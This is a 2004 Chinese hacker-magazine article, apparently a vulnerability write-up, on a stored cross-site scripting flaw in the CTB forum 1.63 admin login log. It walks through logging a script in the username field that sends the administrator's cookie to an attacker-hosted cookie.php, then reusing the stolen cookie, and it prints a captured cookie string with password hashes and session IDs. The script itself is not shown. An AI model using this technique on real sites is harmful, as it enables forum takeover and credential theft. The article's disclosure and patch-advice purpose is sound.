本文作者:sniper 
文章性质:原创 
发布日期:2004-04-16 
注:本文已在《黑客X档案》发表,转载请保留此信息。 
============================================ 
  记得很久前PSKEY写过一篇CTB论坛存在的一个可以直接添加管理员的漏洞,的确CTB论坛的代码可读性非常好,是一个非常的美观的文本论坛。前几天找了套最新的1.63版的论坛代码来看了看,发现了一些不足之处可以让攻击者获得论坛管理权限。 
  在CTB论坛中对前台和后台登陆的情况都设置了一个日志记录供管理员查看,可以让管理员尽快发现论坛是否被人入侵。但是对于用户递交的数据没有进行任何处理就记录到了日志当中,我们可以通过递交特殊的语句来进行跨站攻击,从而直接得到密码。 
  我们看看admin目录下的login.php文件的日志处理部分的代码: 
代码: 
-------------------------------------------------------------------------------- 
//后台管理员登陆日志 
function adminLoginLog($check="ok") 
{ 
  if($this->set[logRecord] == "N"){ 
    return false; 
  } 
  $msgArray[phpCode] = $this->code; 
  //判断文件大小是否需要清空 
  if (filesize("../".$this->set['dataPath']."/log_adminlogin.php") > $this->set['logRecordSize']){ 
    $this->file = "../".$this->set['dataPath']."/log_adminlogin.php"; 
    $this->null_write(""); 
  } 
  //登陆错误 
  //省去部分代码........ 
  //登陆失败 
  else { 
    $msgArray[loginMode] = 0; 
    $msgArray[loginId] = $this->input['userName']; 
    $msgArray[wrongMsg] = $check; 
    $msgArray[userIp] = $this->ip; 
    $msgArray[loginTime] = time(); 
    $msgArray[temp1] = ""; //备用 
    $msgArray[temp2] = ""; //备用 
    $this->file = "../".$this->set['dataPath']."/log_adminlogin.php"; 
    $this->add_line($msgArray); 
  } 
} 
-------------------------------------------------------------------------------- 
  从代码上看我们递交的用户名等信息既不会进行任何过滤也无论正确与否都会被保存到log_adminlogin.php里去,当管理员登陆到后台查看日志的时候就会显示出log_adminlogin.php里面记录的登陆信息,我们也就可以通过这个方法来得到管理员的ID和密码等信息。 
  我们打开后台登陆页面,在用户名那里输入: 
代码: 
--------------------------------------------------------------------------------  
-------------------------------------------------------------------------------- 
  因为无论登陆成功否,程序都会进行记录,所以密码我们可以随便填。其中192.168.1.1为我们放置cookie.php的网址,cookie.php为一个可以获得cookie信息的PHP文件。现在我们要做的就是等了,只要管理员一查看后台登陆日志,我们的PHP程序就会把他的COOKIE截取下来。 
  让我们看看截取到的文件内容: 
引用: 
-------------------------------------------------------------------------------- 
ctb_user_login=ctb;%20ctb_user_pass=ce445102682e75bf533d44e1afc38a90;%20ctb_login_mode=1;%20eremite=0;%20skins=2;%20fylinklinkfylogin=cpb;%20userpass=2BA2A8AC968A7A2B0A7BAA7F2FEF18D2;%20username=sniper;%20Dwebdv=userid=1&usercookies=2&userhidden=&password=0reu3g775VrY7458&userclass=%B9%DC%C0%ED%D4%B1&username=admin&StatUserID=3980383;%20TZ=480;%20PHPSESSID=d8765179dc4f3a8708515a031216e503 
-------------------------------------------------------------------------------- 
  我们需要只有ctb_user_login、ctb_user_pass和ctb_login_mode三个就可以得到前台管理权限了,有了这些信息,我们要获得前台管理员权限就非常容易,用IECookieView找到我们要编辑的COOKIE,把相应的部分替换掉,保存后再进入该站点你就是前台管理员了。 
  很简单的我们就得到了论坛的管理权限,如果被人利用,那么相信后果是非常严重的,希望用CTB论坛的朋友关注他们的官方站点的补丁发布情况,尽快修补该漏洞,以免造成不必要的损失。
大型手机资讯类网站! https://www.134shouji.com